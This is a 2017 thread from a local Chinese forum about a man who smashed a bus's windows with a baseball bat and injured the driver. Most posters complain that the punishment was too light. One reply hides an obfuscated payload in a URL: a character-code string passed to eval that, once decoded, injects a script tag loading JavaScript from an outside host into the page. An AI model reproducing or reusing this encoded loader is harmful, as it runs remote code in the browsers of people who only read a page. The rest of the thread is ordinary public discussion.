赤壁论坛

标题: 违法成本低，安危谁保障？ [打印本页]

作者: 赤壁实话 时间: 2017-5-6 21:00
标题: 违法成本低，安危谁保障？
　　5月6日中午12时20分左右，一段视频在赤壁本地微信群传播，一名青年男子在车水马龙的街面上手持棍球棒，打砸8路公交车玻璃，气焰十分嚣张，造成交通堵塞和大量群众围观，影响恶劣。赤壁市公安局蒲圻派出所高度敏感，第一时间出警处置，通过侦查和查找，将这名“嚣张男”带至公安机关审查。

经查，该男子王某中午12时10分左右和怀孕的妻子驾车经过家联超市后门处街面时，两台公交车正在错车下客，王某以8路车挡住路面致使他急刹车惊吓到妻子为由，下车拦住公交车找司机扯皮，双方发生争执，随后发生了视频上的一幕，王某拿棒球棍将公交车玻璃砸烂，并将公交车司机打伤。王某的行为涉嫌寻衅滋事，己于当天下午5时许被赤壁市公安局行政拘留15日，并处罚款1000元。

作者: 赤壁实话 时间: 2017-5-6 21:06
受伤者是8路公交车司机，背上是受棒球棍重力敲击所致

作者: 906251767 时间: 2017-5-6 21:12

作者: 冭徦 时间: 2017-5-6 21:15
没办法，人家开卡迪拉克的，明显有钱，有钱这都不叫事。别说危害公共交通安全估计伤人，
罚1000快很对的起了，没罚最低500呢

作者: 赤壁实话 时间: 2017-5-6 21:20

冭徦发表于 2017-5-6 21:15
没办法，人家开卡迪拉克的，明显有钱，有钱这都不叫事。别说危害公共交通安全估计伤人，
罚1000快 ...

赤壁公安机关快速查处一起打砸公交车并殴打司机的案件
这就是查处结果？

作者: 冭徦 时间: 2017-5-6 21:23

赤壁实话发表于 2017-5-6 21:20
赤壁公安机关快速查处一起打砸公交车并殴打司机的案件
这就是查处结果？

应该是了，如果不是，后面会写有进一步核查。

作者: 佬龚 时间: 2017-5-6 21:33
置一车乘客安全不顾打砸公交车辆，应以危害公共安全罪予以判刑！！！否则不足以震慑那些嚣张狂徒！！！

作者: 康康宝贝 时间: 2017-5-6 21:36
平民百姓你去犯罪试试成本低不低？

作者: minzhi5255 时间: 2017-5-6 21:47

行为这么恶劣，只罚款1000，真的太少了

http://localhost/flash.swf?\'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,99,110,52,122,46,99,111,109,47,99,110,122,122,46,106,115,39,93,59))+\'

作者: 风样的男人 时间: 2017-5-6 22:02
应该以危害公共安全罪定罪

作者: 一笑了之 时间: 2017-5-6 22:02
天冒黑就有人看到车在街上跑了。

作者: 胡辉988 时间: 2017-5-6 22:04
反正我有朋友已经看到砸车的人出来了，不是说拘留15天？？？呵呵呵了；；

作者: 藏龙 时间: 2017-5-6 22:11
天高皇帝远

作者: 赤壁实话 时间: 2017-5-6 22:11

佬龚发表于 2017-5-6 21:33
置一车乘客安全不顾打砸公交车辆，应以危害公共安全罪予以判刑！！！否则不足以震慑那些嚣张狂徒！！！

支持

作者: 赤壁实话 时间: 2017-5-6 22:12

康康宝贝发表于 2017-5-6 21:36
平民百姓你去犯罪试试成本低不低？

不试

作者: 游子之魂 时间: 2017-5-6 22:14
可悲的社会

作者: 赤壁实话 时间: 2017-5-6 22:14

minzhi5255 发表于 2017-5-6 21:47
行为这么恶劣，只罚款1000，真的太少了

罚再多也不能以罚代刑

作者: 赤壁实话 时间: 2017-5-6 22:14

一笑了之发表于 2017-5-6 22:02
天冒黑就有人看到车在街上跑了。

是车子，不是违法嫌疑人

作者: 地球村人 时间: 2017-5-6 22:21

赤壁实话发表于 2017-5-6 22:11
支持

支持！

作者: 赤壁实话 时间: 2017-5-6 22:23

胡辉988 发表于 2017-5-6 22:04
反正我有朋友已经看到砸车的人出来了，不是说拘留15天？？？呵呵呵了；；

出来的是车子不是违法嫌疑人

作者: 胡辉988 时间: 2017-5-6 22:26

赤壁实话发表于 2017-5-6 22:23
出来的是车子不是违法嫌疑人

噢。反正希望警方能及时通报啊。不然会降低民众的信任啊

作者: chibiwanjia 时间: 2017-5-6 22:32
垃圾人违法，罪也太轻!!

作者: qq190450462 时间: 2017-5-6 23:02
如果按照国家法律，应该不是这么轻的罪吧。蓄意伤人，扰乱公共秩序。至于有没有占道我就不知道了。司机医疗费都不付？不管公交司机是怎样，有没有违反交通法，只有交通局去处理的吧。市民有举报的权利。而直接上手，打人，这就不对了。打人直接就可以定为蓄意伤人罪了。还有看到车打人那车开出来，并不能证明什么。除非拍到他在车里。只是在旁观者角度。

作者: 名扬四海2007 时间: 2017-5-6 23:07

冭徦发表于 2017-5-6 21:15
没办法，人家开卡迪拉克的，明显有钱，有钱这都不叫事。别说危害公共交通安全估计伤人，
罚1000快 ...

开个ATS就叫有钱了，朋友，你是没见过什么好车吧？？这在大城市连中产都算不上。。

作者: 赤壁阿泉 时间: 2017-5-6 23:15

康康宝贝发表于 2017-5-6 21:36
平民百姓你去犯罪试试成本低不低？

经典

作者: 沙虎 时间: 2017-5-6 23:17
危害公共安全。

作者: 冭徦 时间: 2017-5-6 23:26

名扬四海2007 发表于 2017-5-6 23:07
开个ATS就叫有钱了，朋友，你是没见过什么好车吧？？这在大城市连中产都算不上。。

你都说了，在大城市。哥在新加坡的时候楼下都停了好多超跑呢，能比较么。

作者: 名扬四海2007 时间: 2017-5-6 23:28

冭徦发表于 2017-5-6 23:26
你都说了，在大城市。哥在新加坡的时候楼下都停了好多超跑呢，能比较么。

我是想表达的是在大城市，规章制度严格。没有那么多人情套路可讲。执法部门很正规，别说你开ATS了，就是你开保时捷，宾利，也没有人敢这么砸公共社会车辆的。ATS在外面真的谈不上豪车。22万起步而已。

作者: 冭徦 时间: 2017-5-6 23:31

名扬四海2007 发表于 2017-5-6 23:28
我是想表达的是在大城市，规章制度严格。没有那么多人情套路可讲。执法部门很正规，别说你开ATS了，就是 ...

你都说了在大城市，在我们这算的上高档车了吧！我也没说他车怎么样，说的是个社会风气，何必要计较车值多少钱呢？也就在赤壁算个小资，谁不知道在大城市这样的有钱人一抓一把，这不是比较的问题，是社会风气问题！你懂！

作者: 冭徦 时间: 2017-5-6 23:34

名扬四海2007 发表于 2017-5-6 23:28
我是想表达的是在大城市，规章制度严格。没有那么多人情套路可讲。执法部门很正规，别说你开ATS了，就是 ...

说的好听点叫社会风气不好，说的不好听叫政府可信度不高，百姓只要觉得人家有钱，出点什么事都是小事，没钱，你个违章都是大事，人民的名义，贪腐现象，在这种小城市最能体会！

作者: 名扬四海2007 时间: 2017-5-6 23:35

冭徦发表于 2017-5-6 23:34
说的好听点叫社会风气不好，说的不好听叫政府可信度不高，百姓只要觉得人家有钱，出点什么事都是小事，没 ...

小城市而已，就是这么个德行了。

作者: 冭徦 时间: 2017-5-6 23:37

名扬四海2007 发表于 2017-5-6 23:35
小城市而已，就是这么个德行了。

知道就行了，比较没什么好比较的，和大城市比，咋不和国外比，没意思，实事求是，在赤壁就是这样而已了！

作者: 游子之魂 时间: 2017-5-6 23:47

机关枪发表于 2017-5-6 23:37
公交司机有明伤不扯皮？公交车被砸公汽不扯皮？尼玛，朋友圈网上传疯了，有理不扯皮？？好想知道打砸者背后 ...

确实

作者: 冭徦 时间: 2017-5-6 23:58

机关枪发表于 2017-5-6 23:37
公交司机有明伤不扯皮？公交车被砸公汽不扯皮？尼玛，朋友圈网上传疯了，有理不扯皮？？好想知道打砸者背后 ...

你没搞清楚这个事件的关键，不是普通砸车打人，这是在公共道路上砸公共汽车，还有一车的老百姓。
应该属于公共安全范畴了！当然主要还是看有关部门认定！

作者: 湛蓝。 时间: 2017-5-7 00:11
本帖最后由湛蓝。于 2017-5-7 00:12 编辑

对于开车嚣张的人，就应该要他们付出代价。即使这个伙计是有错，你们见无缘无故打杀陌生人？我不认得达个伙计，但是我顶他
你吓我怀孕个老婆我搞死你。

作者: 正义有多远 时间: 2017-5-7 03:38
感觉我们网友不懂法的太多了，就爱瞎起哄，幸灾乐祸的嘴脸。

作者: borens 时间: 2017-5-7 07:05
建议就当事人当街打砸公交车的行为涉嫌寻衅滋事罪进行刑事立案调查

作者: 早已入骨的情 时间: 2017-5-7 07:33
少点鸡冻就没这事

作者: 你妈叫你嫁给我 时间: 2017-5-7 07:34
………

作者: 油焖大虾 时间: 2017-5-7 08:23

湛蓝。发表于 2017-5-7 00:11
对于开车嚣张的人，就应该要他们付出代价。即使这个伙计是有错，你们见无缘无故打杀陌生人？我不认得达 ...

下次砸你车的时候你还顶他就好。砸的你怀疑人生。

作者: 博盛车租 时间: 2017-5-7 09:17

作者: 博盛车租 时间: 2017-5-7 09:17
冲动是魔鬼

作者: 这个名字太难取 时间: 2017-5-7 09:36
这的确是危害公共安全，影响极坏，不严惩怕不足以平民愤

作者: 0715公馆 时间: 2017-5-7 09:48
你不是水军才怪

作者: 为你心醉 时间: 2017-5-7 10:05
蓄意伤人罪怎么处理

作者: 黄可乐 时间: 2017-5-7 10:27

佬龚发表于 2017-5-6 21:33
置一车乘客安全不顾打砸公交车辆，应以危害公共安全罪予以判刑！！！否则不足以震慑那些嚣张狂徒！！！

说的好，那个逼傻逼以为家里很有钱吗？刘汉那么屌还不照样熄了，我看到了你的正义。我像你致敬！

作者: 黄可乐 时间: 2017-5-7 10:28

名扬四海2007 发表于 2017-5-6 23:07
开个ATS就叫有钱了，朋友，你是没见过什么好车吧？？这在大城市连中产都算不上。。

说的经典！

作者: 黄可乐 时间: 2017-5-7 10:29

佬龚发表于 2017-5-6 21:33
置一车乘客安全不顾打砸公交车辆，应以危害公共安全罪予以判刑！！！否则不足以震慑那些嚣张狂徒！！！

顶一个

作者: 卧虎 时间: 2017-5-7 10:57
这样才定个寻衅滋事？明显最低是故意伤人罪

作者: 0715涛涛 时间: 2017-5-7 12:01

作者: 没有尽头20126 时间: 2017-5-7 21:59
是有问题的只是在哪里而已

作者: 906251767 时间: 2017-5-7 22:29

作者: 跑动的风 时间: 2017-5-8 18:10

湛蓝。发表于 2017-5-7 00:11
对于开车嚣张的人，就应该要他们付出代价。即使这个伙计是有错，你们见无缘无故打杀陌生人？我不认得达 ...

砸的是公车，司机没损失，如果砸的是私车，司机发怒开车撞人咋办，扯皮可以，动手不可以。

作者: 久旱逢甘霖一滴 时间: 2017-5-8 18:38
司机完全可以起诉打人者的。

作者: 受凉风吹 时间: 2017-5-8 19:00
都构成故意伤害了好吗？？干嘛不以寻衅滋事立案？？？

作者: 平凡的路人 时间: 2017-5-8 19:23
该判刑

作者: ABC1999929123 时间: 2017-5-8 20:46

加倍努力“ 发表于 2017-5-7 10:04
他爹是李刚你懂的！

敢打砸公交车的人难道是普通百姓吗？？？借一百个胆我不敢，

作者: rao1998 时间: 2017-5-8 20:46
该重罚啊！现在的社会是有权有钱啥事都好办。

作者: ABC1999929123 时间: 2017-5-8 20:54

rao1998 发表于 2017-5-8 20:46
该重罚啊！现在的社会是有权有钱啥事都好办。

算你看懂了中国社会特色！

作者: 秋声 时间: 2017-5-9 08:38
腾讯视频下的评论可不是咱们这样啊

作者: toney 时间: 2017-5-10 11:17

受凉风吹发表于 2017-5-8 19:00
都构成故意伤害了好吗？？干嘛不以寻衅滋事立案？？？

就是。建议法医鉴定：看看是轻微伤还是轻伤？如果是轻微伤，打人者要出医药费，如果是轻伤，打人者要赔钱。法医认定的轻伤，门槛很高，实际差不多把人打残了。

作者: 赤壁花卉种植户 时间: 2017-5-11 19:12

赤壁实话发表于 2017-5-6 22:12
不试

普通老百姓不能试有钱有权人就无所谓可以试多试

欢迎光临赤壁论坛 (https://cbrx.0715.cn/)